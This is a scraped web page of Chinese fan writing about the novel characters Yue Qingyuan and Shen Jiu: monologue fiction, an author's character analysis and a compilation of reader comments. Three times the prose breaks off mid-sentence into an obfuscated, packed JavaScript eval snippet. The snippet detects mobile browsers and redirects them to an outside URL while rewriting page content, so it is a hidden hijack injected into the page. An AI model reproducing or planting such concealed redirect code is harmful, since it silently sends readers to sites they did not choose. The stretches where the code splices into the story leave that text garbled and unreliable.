他是苍穹山的掌门,更是修真界的顶梁柱,还是沈九的七哥。 无论那一条,都值得用这条命去拔剑对战! 54.岳清源人物小传 有时候我觉得,我的人生已经是个励志爽文了。从一介乞丐,爬到修真界第一大派掌门。谁不得夸一句‘老朱也不过如此’? 而且。那个与我一同从乞丐爬上来的家伙,最后成就比我低不说,故事落幕后的结果也比我惨的多。平日里,哪位道友见到我,不得恭恭敬敬、心悦诚服的喊一声“岳掌门”;而那个家伙……私底下的名声,哎,压都压不住啊~ 简直是,人生巅峰。尤其是身边还有个自小一起的陪我见证,偷摸对比之后,更是爽歪歪哇。 当然,身为一个掌门人,有的时候也蛮无奈的。比如各路天才总要想办法收拢、各处金丹大能总要想办法交好、各个门派总得没事打打交道联络一下感情。 嗯,还有比较重要的一件事——自己门派内的峰主之间矛盾,也要调和。 沈九的性子啊,小时候还知道圆滑点、说话甜一点、好听一点;现在不知道受了什么刺激,也可能是养尊处优多年不再压抑自己,不鸣则已、一张口就是得罪人。尤其是跟柳家大公子,那可真是——针尖对麦芒、谁也不饶谁。 而且小□□了一身下九流的本领就算了,怎么还学着拈花惹草、睡花眠柳了?这烂到家的风评、这一点就炸还较真别扭的性子……清静峰老峰主是怎么受得了的? 我承认虽然有一些是因为自己跑了,让沈九抗雷的原因——但是我对你不好吗?能给的资源我都给了,能让步的也都让步了,你还想让我怎样?!自杀在你面前谢罪吗?而且你都出来了,现在也得到了‘第二大峰’的首席之位,就算是生气,现在也该消了吧? 啊。又是一次调和,身为百战峰首席的柳清歌去xx楼找清静峰首席沈九干架去了!毁灭吧,我好不容易把柳清歌劝回去,实在忍不住:“小九啊,清静峰要是不舒服,不如来我这?” 没想到这家伙完全不领情啊:“我在清静峰能当峰主,去穹顶峰,掌门之位让我?” 啊这……弟弟啊,你这心里,惦记哥哥的位置,可不好啊。 好在这家伙应该只是说说,只见他脸上挂了个讽刺的笑容:“既然不能,未来的岳掌门,还请离我远点。” ……沉默,是今晚的康桥。 我努力劝说:“修炼之人,当修身养性。” 对方回怼:“清静峰都不管,你搞什么越俎代庖?” 我:“小九……你知道的。”具体知道啥,我哪知道?语言的魅力,掌权人就该说一半留一半!驭人之术,不外乎如此! 果然,沈九极不耐烦:“滚!” 我:“小九……” 沈九:“别叫我小九,我叫‘沈清秋’!” 我:果然是孩子大了,叛逆了,不让喊小名了。不过没关系,做人要懂得随机应变。于是我果断换称呼:“清秋师弟。” 嗯。与我所想一样,甭管我喊他什么,他都会第一时间炸毛:“岳清源你给我闭嘴!” 我将表情放的极为诚恳,姿势也摆的极低。反正今天一定要把人带回去,否则不知道百战峰和清静峰会闹成什么样子……身为未来掌门人,绝不能允许两峰之间真的拼个你死我活! —— 沈九蛮好对付的。只要摆出诚恳+老实+欲言又止的表情,然后说一句“小九……”,接着一句“清秋师弟。”对方立刻会像强制关机一样,快速闭一下双眼,然后马上离开。 解决完刺头,其他人对我的掌门权威几乎没有影响,我这个掌门当的非常快乐。 只是……沈九你是不是没完没了了!怎么又去挑衅柳清歌!这次还把人给搞死了!若不是清静峰老峰主出来扛雷,柳家的问责你让我怎么搞啊!将你交出去肯定不行,可是不惩罚你又难以服众。百战峰的峰主被你弄死了啊!你知不知道有时候我真的很想掐死你啊!!! 柳清歌好好在灵犀洞修炼,你还非得凑上去跟他打一架,搞的自己遍体鳞伤不说,还把对方给杀了!心口数剑,完全没得救啊! 啊。苍天啊,若是,我这个师弟能突然之间换个性子,能有多好。哪怕是被夺舍的,只要外来者好相处,我也不介意啊! —— 哦,这次是被自己弟子搞了个‘四派联审’的小儿科。这么大人了,还能被弟子给坑了,这和走路平地摔有什么区别?无语啊。 怎么办。不想捞他。让他好好吃点苦,长长教训怎么样。 哦,不用捞了,他老毛病又犯了。半点解释也没有,这张嘴就跟被缝上似的。咋的,你还能指望自己不说话,其他人都能透过你完美的身躯看见你纯真善良的内心吗? 赶紧死吧死吧,我也不想知道我黑历史的人还活着。你不想被人喊“沈九”,我还不想被人喊“岳七”呢。有机会却不解释,那就干脆哑巴一辈子吧,烦死了。 回去面对清静峰一帮子……嗯,主要是跟沈九一起长大的那些,有不少也是世家大族的。虽然老峰主仙去了,可他绝对嘱咐过类似‘多看着点你们小师弟’的话语。师命难违,即便他们关系不好,也不能看人在牢里受罪啊。 得嘞,堂堂一派掌门,天天给沈九善后收尾,到底谁才是那个工具人? 嘶。真惨啊。我认命的给沈九上药、输灵力,思考着怎么样才能引导他‘开口解释’——玛德,四五十的人了,居然还不会开口说话,解释一句能要你的命?骨气的让你这么用的吗? 哦。醒了。我有点无语的看着他:“搞成这样,爽不?”我承认我崩人设了!但是我真的好无语啊,一大把年纪还如此幼稚,将自己陷入这样的困境都搞不清楚状况,你让我想捞都无力啊! 沈九有点震惊,有可能是看不见。他摸索着,从地上缓慢扶着铁门爬起来:“岳……清源?” ……呵呵哒。好吧,是有点解气,但更多的是恨其不争。我有些愤恨的开口:“即使这时候,你也不愿意喊我‘七哥’?”也不愿意示弱,让我救你出来?玛德劳资跑过来是图什么啊,专门看你因为嘴硬和不解释如何作大死吗? “滚。” 简单干脆,清醒就撵人。不愧是你啊,即使都到这种程度了,还能坚持冷嘲热讽的嘴硬和作死。 我有些难以理解的发问:“你图什么啊。” 是啊,你图什么啊?明明解释一句就能搞定的事情,柳家问责时不解释,让老峰主替你扛压;秋海棠问罪时不解释,换得哐铛入狱。即使是现在,我千里迢迢跑过来,你多多少少说两句,好让我知道该如何下手,何处打点吧? 可惜。沈九的倔脾气,实在是太坏了。他一把将我推开,然后疯狂喊道:“滚!滚开!” ……,我决定在努力最后一把:“柳清歌,真的是你杀的吗?”如果不是,赶紧说出来;如果有苦衷,也赶紧说出来。搞定了柳家,洛冰河和幻花宫只能用秋家问罪,这都是小事,花点钱就能搞定。 哦。玛德,劳资真的想打死他了!沈九居然还没看清形势,一脸苦涩的跟我说什么:“是我杀的。你既然觉得是我杀的,那就是了。” !!!事实铁证如山,你不把苦衷和过程说出来,是想让我们对你‘搜魂’吗?!大哥啊,你是我大哥,拜托你都这时候了,就别在嘴硬了好吗!! ……。行吧,我果然不能对一个心智不成熟的家伙抱以期待,他居然还满脸失望,对我破口大骂!!!ntmd,劳资以后再管你,劳资的掌门之位就给别人坐!! —— 呵。安定峰的叛徒回来了。还带来了魔族的礼物。 哦,沈九的血书,以及双腿。 (拍桌子)劳资发过誓的,绝不会再管他! (规矩坐好)嗯。劳资是狗,我觉得大弟子不错,是个能扛得住事的人,掌门令牌收好,我……去去,也不一定回。 好的。黄泉路上,我先行一步。沈九!!!你放心,劳资不喝孟婆汤,不打死你绝不过奈何桥!!! —————————————— 好气呦,这家伙总是想让人揍他一顿 家弟是个傻子。一个看起来挺聪明,实际上也通透,但却总是踩最差那条路的倒霉蛋。 其实他本身没什么太大问题。就是话少了点,嘴毒了点,性子冷了点,处事偏颇了点,性情过于张扬了点……没事喜欢打架斗殴、惹是生非、逛个风月场所、招惹一下世家子弟…… emmm,行吧,他就一浪荡子。 但是没办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336912|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法啊。吾等皆乞儿出身,无人教养;亦无良师开智。他还半路被人掳走毁了根基,历经诸多不幸,致心态转变、性格扭曲了嘛! 这些怪不了他嘛。他是受害者,是难得能存活下来、能成功登上峰主的幸存者啊! 至于那些没活下来的——都成了黄土一捧,飞烟一撮,难不成要那寿命悠长的修真者长久惦记、上香祭奠吗? —— 咳咳。岳七看着永远不会示弱,也绝不肯嘴下留情的沈九,心里是有些唏嘘的。 毕竟——男人的愧疚,能使他为对方送上一切。哪怕是赔上夫人儿子、家世族人,也要践行自己当初的承诺与道义嘛~ “小九。”岳七看着衣衫不整的沈九,与慌忙离开的姑娘,不禁扶额,满心无奈: 这家伙是当真喜欢睡女人啊。有事没事都要下山找红颜,时不时都要出来采风消夜,趁月明星稀觅露水情缘。 “有何贵干。”沈九并不打算整理衣衫,只是思考着下次设个阵法,免得总在半夜被人拽起,难免败坏兴致,难度春宵。 “……”岳七嘴角艰难的勾了勾,却连僵硬的微笑都挤不出来。瞧着沈九那副不耐烦且无所谓之态,甚至连敞开的衣领滑落都懒得整理,心里火气突然涌起,恨不得脱下鞋拍到这张吊儿郎当的脸上。 深呼吸,吸气……不能跟不懂事的孩子计较。 岳七疯狂给自己洗脑之后,终于挂起的一个堪称皮笑肉不笑的‘温和’笑容,眼里满是对自家熊孩子恨不得打上一顿却又强压怒气的隐忍:“修真之人,当清心寡欲。” 沈九满不在乎的瞥了岳七一眼,随即整理了一下被子,打算窝回去睡觉:“哦。”没有美人姐姐陪伴,被窝有点空了呢。 岳七只觉得这玩意又在挑衅自己,当即火冒三丈,上前就要拉开沈九的被子,将他拎出来好好暴揍一顿! emmm。不能打,至少不能打这张脸。内心仅剩的理智叫嚣着,令岳七的拳头堪堪停在沈九那张完美面皮的前面。 岳七瞧着被自己捞起却仍吊儿郎当之家伙,实是气不打一处来。出于对美人的怜惜,他还是停下对这张脸实施暴行的念头,转而思考着:要不要把人翻过身再打? 打那呢?脸是肯定不行的,闭上眼睛打也不行,这样精细养出来的脸皮,就连沈九平日里与人对练划一小口子,岳七都恨不得赶紧拿药膏涂抹。现在让岳七亲手给他添上几丝血痕,几处淤青,实在是为难人啊! 脖子?易死人,且易昏迷。 肩膀?胸口?可行,但沈九衣衫未整,还需先为其穿好衣服。 腰腹?这里容易将人打成偏瘫,半身不遂就不好了。 腿?可以一试,然以胳膊对打大腿,除非岳七武力如柳清歌般一样高,要不然很容易被沈九一腿踹开。 嗯,打屁股?肉最多之处,且最重要的是,力道大了亦不致命。都要发火打人了,总不能指望他力道能收敛多少吧? —— “岳清源!”沈九一掌将人推开,脸上全是怒气逼出的红晕,眼里隐约有愤怒上涌勾出的湿润。 面如桃花、双颊嫣红、眼含春水、语气羞恼,兼之匆匆整理的衣衫、还未来得及收拢的乌发——若非这个人手上的剑气极为凌厉,一幅要毁灭一切的姿态,其实还,蛮诱人的。 当然,差点被毁掉的勾栏瓦舍并不这么想。他们只希望这两位爷赶紧离开:“两位爷,你们的恩怨情仇与小店无关,可否行个方便,去别处比试?” 沈九低头看向众人,剑气笼罩之中,其他人也看不清他的模样,只能听到他喊了句:“岳清源,去那边打!” 岳七看着突然被气成这样的沈九,仔细回想了一下,他也就是打了一下啊...力道也不怎么大,怎么看起来比自己还气呢?他都没计较这吊儿郎当的家伙给自己惹了多少事,他就被打了一下还闹起来了? 只是,先离开再说。要不然明天苍穹山上,就该到处流传他们俩的闲话了!指不定什么‘两人为某头牌大打出手’‘两人因不知名原因愤而出手、扰乱尘世’‘两人关系破裂,岳七终于不再忍受沈九’的猜测,最后能传扬的连他们两个当事人都觉得离谱! 55.关于七究竟是怎么看九的 七九:关于岳七的个人分析 岳七这个人,很复杂。 当然,因为我一开始对这个人物的不喜欢,所以对他有些恶意。写了好几篇的文章中都没有让他出场。偶尔出场也是一副‘为了沈垣’要‘舍弃沈九’的姿态。 但是平心而论,这是一个很牛掰的人物。毕竟他是真的从乞丐爬到修真界第一大派的掌门,并且一直在抗击魔界第一线,最后收到血信后也确实为了童年玩伴的赴约。 别管他究竟怎么想的,英雄论迹不论心,他最后确实做了——在沈九被下狱的时候,只有他去探望了;在沈九的血信及双腿过来后,他真的去赴约了。 就凭这一点,七九,能磕。 当然,我对他最大的不爽在于——我不信他看不出来沈垣与沈九的区别,却依旧将属于沈九的愧疚与好意,寄托给了沈垣。 连尚清华都能看出来的区别,连其他人都在开会探讨——岳七看不出来,未免太瞎太废了吧? 如果是这样,只有一种解释: 岳七,不在乎那个壳子里是谁;他只在乎这个壳子是‘沈清秋’就够了。 沈九舍弃过往,成为沈清秋。 岳七同样,成为了岳清源。 沈九选择将一切埋葬,拒绝任何人提起过往,也压根不理睬过往云烟。所以他对于岳七的愧疚不屑一顾,对于岳七的言语补偿和贴心问候退避三舍。 岳七就不一样了。他的过往里,没有关于‘极为痛苦的童年回忆’,所以他会‘怀念’。而他怀念的对象,自然是与他一样出身,一同成就峰主之位的沈九。再加上他对沈九有愧,所以在私情上,对沈九可以说是‘放任一切’。 但。他终究是一派掌门。身为掌权者,驭人之术是必备的,权衡利弊是刻在骨子里的——当沈九犯下错误或者跌落泥潭的时候,他第一时间可能是心疼,但最后表现的,一定是先思索一下他要如何‘表态’。 因为他是掌权人,他代表苍穹山掌门。 沈九杀柳清歌。 得罪的是苍穹山直接战力——百战峰。 得罪的是柳家势力。 (虽然柳清歌好像身后无人了,但柳溟烟活着啊——所以沈九间接得罪了仙姝峰) 打破的是苍穹山‘禁止同门伤人’的规矩。 (这个直接关乎到所有人的安危问题——如果走在路上都能被杀,这个生存环境,恐怕要劝退不少人) 强行将清静峰和百战峰、仙姝峰的关系对立起来。 (虽然清静峰和百战峰不合很久了,但是两个掌权人之间互杀还死了一个,这事很严重!) 强行……将岳清源对童年玩伴沈九的愧疚,与对大局的把控,拉到明面上来。 (别说我阴谋论,渣作者也是权谋文、历史文的重度爱好者,有兴趣可以看看我写的关于《将军令》的评论,这些掌权者的心思,从来都是‘顺我者昌逆我者亡’‘听话的拉一下 不听话的打压’) 岳七对沈九有愧疚,不假。 但岳七不单是岳七,他现在是岳清源。 他是苍穹山的掌门,是各峰之中能以‘掌门令’横压众人的存在。 而且最重要的一点。 岳清源不是女频中能豪掷千金、烽火戏诸侯的恋爱脑霸总,更不是耽美中为一人倾一国、因一人毁一城的强攻。 他是一个男频世界观下,从乞丐爬到近乎帝王之尊的‘老朱’。这样的人,即便‘马皇后’能让他心软,却不能让他将自己的王国拱手相让。 毕竟,如果岳清源当真为了保沈九而抗击所有人的压力——岳清源这个掌门,也差不多到头了。 那些能搞一堆事还没被人夺权、没散了人心、没被人拉下去的……都是光环好吧。岳七是背景板,他怎么可能有‘光环’护体? 所以……倒推一下。 能在这种情况下还继续掌握大权,在后期继续当他‘厚道掌门’的人。 咋可能是傻白甜,咋可能是恋爱脑,咋可能是真的‘忠厚老实’? 所以。 在‘沈九杀柳清歌’这件事上,岳七绝对不会无脑保他。 那是谁出手了呢? 只有清静峰的人。 要么是老峰主,要么是师兄弟。 结合沈九的悲惨过往,厌恶同性。 好的,老峰主出手,救下沈九,扛了百战峰的雷,以及可能的风言风语。 岳七偷偷摸摸的给老峰主补偿,压一下流言,让这件事赶紧过去。 嗯,这才是符合理智,比较正常的‘真相’。 ………… 即使岳七已经身为一代掌门,难道他心里就没有遗憾和空缺的吗?他心里那些遗憾要如何去填补呢? 很简单,像那些修道成仙的人,他们斩断仙根的方法一直都很简单。 对于有恩之人、报恩,对于有怨之人、灭杀,对于亲情之人、伺候他们直到入土。 而那些所谓用杀戮去斩断一切情缘的那是邪修,是无情道。 修真之人若是连自己的感情都放弃了,那他还是修真之人吗?那他与掌握了强大实力的傀儡有什么区别呢? 岳七当然也需要、独属于他的,一些放松的方法以及弥补内心童年过往的方法。而且最重要的是,他童年最亏欠的人就在他的身边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344525|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然如此,他连大老远的去找寻都免了,只需要想方设法的让自己身边的这个人过得更好一些就够了。 这也是为什么岳七对于沈九的操作来说,有一种近乎无底线的纵容。 他纵容的真的是沈九吗?他纵容的是小时候无力抵抗命运,不得不让人替自己背锅,最后那个人到了自己身边,而他终于有能力弥补的自己啊。 人怎么可能因为他人的生活经历而去动容、愤怒、疼惜、宠溺呢? 他只是在他身上看到了自己的影子而已。 那个没有办法反抗当下命运的自己。 在幼年时期因放不下脸面,而被打被骂、吃不饱饭的自己。 那个在童年时期,因无力反抗权贵,只能让其他同伴替自己扛雷,最后远走他乡寻求出路的自己。 那个在青年时期,终于经过了无数的艰难险阻,成就了掌门之位,能够庇佑他人的自己。 岳七,在通过‘宠溺’‘弥补’沈九的方式,补偿幼年的自己。 ———— 所以这个后续分两种。 第1种。沈九终于玩脱了,把自己深陷泥潭,无力挣扎。 所以岳七在权衡之后,无论是保下他还是舍弃他,都可以。 这个纯粹是看岳七个人的想法,准确的说与大局无关的情况下,岳七想要如何对沈九,都是他两个人的事情。 第2种。沈九同样是玩脱了,但是呢,他的躯体由他人掌控,而且还关乎到了大局。 这个时候就很有意思了。 因为岳七需要的是,通过对沈九的补偿来弥补自己的内心遗憾。 那么这个沈九。到底是沈九的灵魂,还是沈九的躯体?以及如果沈九真的换了性子变得更好相处了,那么……是会感到恐慌还是庆幸? 换而言之。 一个从来不听话的家人,突然有一天变得听话了,好相处了,你说什么他都听了。 是会震惊一下:唉,怎么突然变成了这样?然后心里有一些恐慌,开始试探。 还是……觉得这件事情简直太好了,内心非常的庆幸鼓舞,甚至恨不得对他更好一些? 嗯。关于这个,我之前写过一篇(删了)。 我个人的看法是。岳七会感觉很庆幸。 而且呢,他还会为了沈垣,让沈九退步。 别问,问就是我真的觉得岳七是这样的人。就算是有人说我ooc也无所谓,渣作者确实是这么想的。 好吧,就酱。关于岳七的个人分析就是这样啦,剩下有什么嗯ooc的地方,可以跟我提出来,但是渣作者真的是这么想的,所以不一定采纳(笑) 56.九推开七;七利用沈垣 别来了 (夹杂太多矛盾与遗憾的亲情向) 在秋家时,沈九被关在柴房内,岳七于柴房外。两人隔着一道木门。 而现在,沈清秋被关在牢房内,岳清源在牢房外。他俩隔着一道铁门。 时光的记忆里,逃离了秋家的沈九,拒绝岳清源的补偿,孤独冷漠的拒绝所有人,以一种孤寂又拼命的姿态,闯入老峰主眼中,得到老峰主赐予的清静峰峰主之位。 而残忍的现实中,被减去所有羽翅,折断根基的沈清秋。却在也没有了曾经的热血与决绝,只能放任自己在名为“无能为力”的泥潭里,越陷越深,无法自拔。 —— “岳清源。不要与我联系了。” ———— ———— 从幼年到中年,穿插了近三十多年的时光,期间发生过太多恩恩怨怨,他来不及梳理和确认。 所以,他便不想‘回去’了。 从地牢到清静峰,物理间隔虽在飞剑范围内,实际上却布满了阴谋诡计、勾心斗角。 所以,他便不想‘离开’了。 他无比清楚的知晓自己的身体状况,看清自己最后的结局。那是再也无法回到的青春年少,肆意张狂。即便里面参杂着数不清的算计、妥协、隐忍、愤恨——可那是他的过往,他的必要组成部分。 怒火和谎言,成了他拒绝伤害别人、逃离悲惨现实的道具。他不愿在为数不多的日子里,走尽谁、靠近谁、认清谁、记得谁。 他可以妥协。只是妥协之后,却是连自己都不愿意见到的难堪。 他可以放弃。只是放弃之后,连时光倒流,都无法弥补心底的残缺。 他可以埋怨与灭世。只是他总归是一个有理智、讲取舍的‘人’,而非一点就炸、恨不得拉大家一起死的火药桶。 “所有人,都莫要接触‘沈清秋’了。” 故事的落幕里。他所求的,也只是艰难站在牢狱里——推开所有人,独自赴黄泉。 只是。那个最后一刻愿意过来的人,哪怕两人之间存在太多隔阂与矛盾,人之将死的时候,总是会心软的。 “岳清源,滚回去好好当你的掌门去。” 接着,把这个苍穹山的黑点,逐出师门后,继续你漫长而平静的日子去吧。 ——碎碎念—— 沈九最后的温柔,就是将身边所有人推开,独自迎接死亡。 ———————————————— (伪)七九:身为上位者,最重要的是平衡 论功行赏,是上位者不可或缺的必备技能。努力就会获得回报,是苍天对世人赐下的慷慨恩赏。 那个永远不听话又不回答还天天惹事的‘弟弟’,当真让人恨的牙痒痒不说,是真的想打他一顿方能出气啊。 只是,倘若他有一天终于认清了世间真相,在刹那之间成长起来。变得与人为善、长袖善舞,在本就并不困难的人际关系中,获得他人的认可,游刃有余的处理所有事物。 那该多好。 “哇哈哈哈哈。”怎么可能呢。岳七要被自己的幻想所笑道。 江山易改,本性难移。那样一个被世界伤害过的灵魂,仅剩下的温情只分给自己的两个关门弟子,怎么可能一夜之间变得近乎完美? 只是。女人的魅力在于疯狂,而男人的魅力在于反差。 宁嘤嘤为了洛冰河,近乎将整个清静峰都送到了对方面前。就连自己的清白名声与‘师尊’,都能孤注一掷的闭眼污蔑。堪称为爱冲锋的孤勇者,为情送葬的狂热者。 而沈九。之前如此傲气的一个人,却突然变得无比之弱小。几乎将所有棱角收起,处处彰显自己的无害与脆弱。 凭借着‘示弱’。不仅得到了其他人的一致关爱,就连一直不对付的柳清歌,都因为‘看不得他弱成这样’而让手下弟子喂招对打。 示敌以弱,潜移默化之下改变环境。收权放人,悄无声息之下完成权力交接。 沈九啊,你终于,学会如何在世界上更好的‘活下去’了。 不对。你不是‘沈九’,我也不是‘掌门师兄’。 你是‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351283|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈清秋’,我是你‘七哥’。 多好啊。这样的结局,才是我们应该拥有的。 我们本该向前看,我们都拥有着明媚未来。我们一起吃了那么多的苦,又分别受了那么多的罪。得到成功的赏赐,完成心中所想,是我们应得的。 而那个只会一直给我惹事的人,终于不再让我操心了。 我这个傻弟弟呀,终于长大了也懂事了,就是懂事的有点,过头。都有些,不太像你自己了。 但那又如何呢?人是会变的,只要你现在变得更好,至于过往如何,谁又会在乎呢? 而且,能变好是多么不容易的事情呀。 —— 只是……若沈九当真能‘圆滑’,当初又哪里会受那么多苦? 而他经历了那一切过往,就不可能养成大大咧咧、粗中有细的性格。 无所谓啦。 不重要啦。 毕竟……谁是‘沈九’一直都不重要。 只要清静峰‘沈清秋’能稳定在苍穹山不闹事,这个师弟,就是好师弟。 至于小九嘛。 若他回来,大不了哭一场,说点什么“为苍生不得不隐忍”,“为过往定要照顾好你的身躯”,“你若是早些变成这样,何苦xx”之类的。话语。 很容易就解决的啦~ (这就是我讨厌岳七的地方。觉得他伪善、心机颇深,超讨厌的!) 当然啦,我这个新的师弟不仅没有再给我惹事,还替我稳定了三界苍生。让苍穹山依旧是修真界第一门派,受万人敬仰,世人崇拜。 总是也要给他论功行赏的嘛。 而且我手上还有他的把柄。这么好的一个工具,不使用,实在是可惜了。 他当真是一个最好用的道具呢。 自身能力强,还能替我稳定世界。最重要的是他手中还有把柄,对我又如此的恭敬。 这才是人生巅峰。爽歪歪的啦。 ——碎碎念—— 问就是,沈垣对岳清源来说,真的是个很好用的工具呢。 57.刷到的300楼评论汇总 大概这就是我磕不了亲情向七九的原因吧…… 七九很好磕,遗憾与过往,失约与赴约。 只是中间总是隔了些什么,我说不清楚,但内心深处却是不舒服的。 这个作者分析的很有道理,我磕不了七九亲情向,大概就是现实中被周围的亲属打压太多—— 我知道你们说得对,可是你们表达善意的方式实在太糟糕了,行为上护着,精神上打压着,这谁能受得了? ———————— 选取评论记录一下。 其实我个人真的很喜欢这种一群人为了一个故事去探讨的氛围—— 思想的碰撞火花,才是最有趣、最动人的东西啊。 ———————— 还有七没认出来沈垣不是沈九那段,老早之前其实我更站七九,直到某篇文里点出了这点,我才恍然大悟这俩根本不会在一起。七哥甚至没能认出来“沈清秋”已经换了个人,再看太太这篇分析,更加深以为然…… 七九更像教育者与被教育者,两人的人格是不平等的。冰九则是两个重伤濒死的小兽,可以互相依偎着取暖(虽然由于设定,他俩的感情总是充满了种种不平) 首先9没来前七也活着,其次说起为虎作伥有九跟无厌子那段在做什么,旅游观光吗? 九和明帆比就差了一条命,洛冰河给他止过痛吗?从痛苦而言,九承受的是他百倍千倍。 啊对啊,只要是九的身份不都可以掌控洛冰河吗你上你也行,九有什么特殊性?这不更突出洛冰河只喜欢沈清秋对他好的这一面吗? 死你个头,哪臆想来的?掌控那冰妹那边不是做的挺好,只要是九的身份随便来个人都能掌控洛冰河,端看人家愿不愿意而已 滚吧你沈九被洛冰河弄死了算什么情感的绝对掌控 ?掌控在哪是沈九掌控洛冰河当魔尊屠杀修仙界吗?掌控洛冰河让他扯掉自己的手臂杀岳清源吗?主角党骂沈九一口一个人棍时你没想过怎么成人棍的呢?臆想沈九可以离开?生命离开了是吧? 岳七。。只能说非蠢既坏了,总得占一个不然解释不清他说话做事的逻辑 早干嘛去了?在水牢问是为了翻案?一开始怎么不查一面之词有什么用现在证据都没了。不是为了翻案在水牢问这个是要干嘛?这对营救九有什么帮助吗?做事能不能抓重点啊岳掌门。。 我记得有篇文,九不在,忘了是不是被冰冰带走了,然后七自己帮十五然后被马踩骨折了,之后被捉到秋府去了 有没有一种可能,柳清歌家世好能力强天之骄子,妹妹也出色,九没背景没柳强更好拿捏嘴虽毒但听话,拉偏架劝九 九刻薄自己几句就听话了这样还显得自己大度(恶意揣测) 因为深渊那里,冰才意识到原来你讨厌我到想让我死,不然冰冰一直都怀有希望啊 建议看十二月太太的疯魔如我 我也很喜欢太太的分析 把他的位置给柳和冰来,收徒前说不定就已经通关了 能救赎早救了,哪轮得到冰冰上位 救出来了吗?以自己的实力能救出来吗?有备什么计划和后手吗?自己死了九还有获救的可能吗? 明明一开始是一个生命力顽强的人,能争能抢,一介乞丐身份拼着一股不服输的劲往上爬,他一开始就对仙门有想法,也努力尝试行动上往那里靠,即使根骨受损入门太迟,还是咬着牙爬到到清静峰峰主的位置,生动诠释了“王侯将相宁有种乎”的精神,就这样一个配得感极高的人,到最后却被磋磨成了我不配我活该别和沈清秋这种东西沾边,想想就很心痛 亲人的抛弃让九开始有一种不配得感,自己这种人的真心竟然被所谓的老好人辜负了,但他性子本身是不服气不认命的所以继续爬,但是即使爬到高处,还是不被认可被误会等等,地位得不到尊重,善意得不到好报,靠近自己的人都会被拖累,最渴望的修为力量因为根骨迟迟上不去,被人超过,这对九来说是和生存挂钩的所以非常焦虑,时间久了再坚定的人都会动摇怀疑自己是不是活该烂在泥里,自己的挣扎反抗除了害死更多的人以外对自己的状况没有半点改善,他还是那个被排斥厌恶看不起的小乞丐,没有半点幸福,他的不服一点意义都没有,就像早已被命运宣判死刑一样。岳的辜负和柳的死应该都是九自我怀疑的重大节点,所以后面被冰冰算计身败名裂后直接躺平不反抗了,因为果然如此,自己再怎么努力最后还是阴沟的老鼠,直接等死,结果就这样了岳还是因为自己死了(虽然是冰七的问题,但九爱钻牛角尖呢),又背一条人命,更心灰意冷了 小时候岳七不乞讨的,他那份钱是九给的,七后面长大点干的是巡街这种为虎作伥的事情 不太想要那种因为外人而委屈内人的老公,小时候被教导给别人让心爱的玩具就算了,长大了还要继续忍让,不如单着 对滴,而且冰妹结局那里还有说那一声师尊从未变过 这就有点像否定胜利者的伤疤一样,伤疤心病脾性手段这些,是苦难中活下来的人的功勋 或者说他只想要沈九不想要沈清秋,这其实也是对沈清秋的一种否定。但他这样好运的人凭什么可以否定别人活下来的姿态呢? 他觉得过去的小九善良可爱听他话,但现在跟过秋剪罗无厌子的沈清秋已经是一颗长歪了的小树苗,杀人不择手段脾气暴躁不听他的话,他试图规劝沈清秋变回沈九,但怎么可能,只有现在的拥有尖刺和被辜负的心病的沈清秋才能活着站在他面前,善良可爱眼巴巴等着他来接自己的沈九已经死在秋府了。人都是向前看的,他却只能看到沈九看不见蜕变的沈清秋 要真打死就没人磕了,就是因为他报个仇磨磨唧唧把九周围一圈都嚯嚯完了,然后天天因为鞭打九掌握九的注意力快活的飘飘欲仙,还和个弃妇一样老去问人家后不后悔,我们才磕的,但凡像对明帆那样的态度,压根没人上头 九救岳几次,他却不觉得九本心不坏明明柳发现九要救他就自捅而亡了 为九好,但认定九是长歪的小树苗 因为九对冰情感的绝对控制,即使地位颠倒,冰还是要从九那里索取关注,而九一个态度不对(岳死那里)冰就马上开始警惕继而都不飘飘欲仙了,九是那个可以离开的人,冰是那个离不开的人,他俩算是互相控制势均力敌 九如果是这种宽容隐忍的小白花性子,他根本就活不下来,他的生长环境从乞丐开始就已经教他要去抢去争寸步不让才有活下来的余地,他凭着这样不服输不退让满身尖刺的性子爬到了清静峰峰主的位置,怎么可能一下变为与世无争岁月静好的温软性子?他自己的内心都还在焦虑苦恼,修为不涨被人超过的紧迫感一直压着他,从来都没获得过什么平静幸福。。 但他所谓的拉一把就是要九在别人面前退让,就像你爸妈要你把心爱的玩具让给别人一样,凭什么呢? 他嘲讽我是应该的,我还击就是不应该的,我要大度,要忍让,要热脸贴冷屁股,不能小心眼和人家一般见识 是是是,别人都是光风霁月的好人,就我是坏蛋 咱们井水不犯河水,就当过去死了,少管我的事 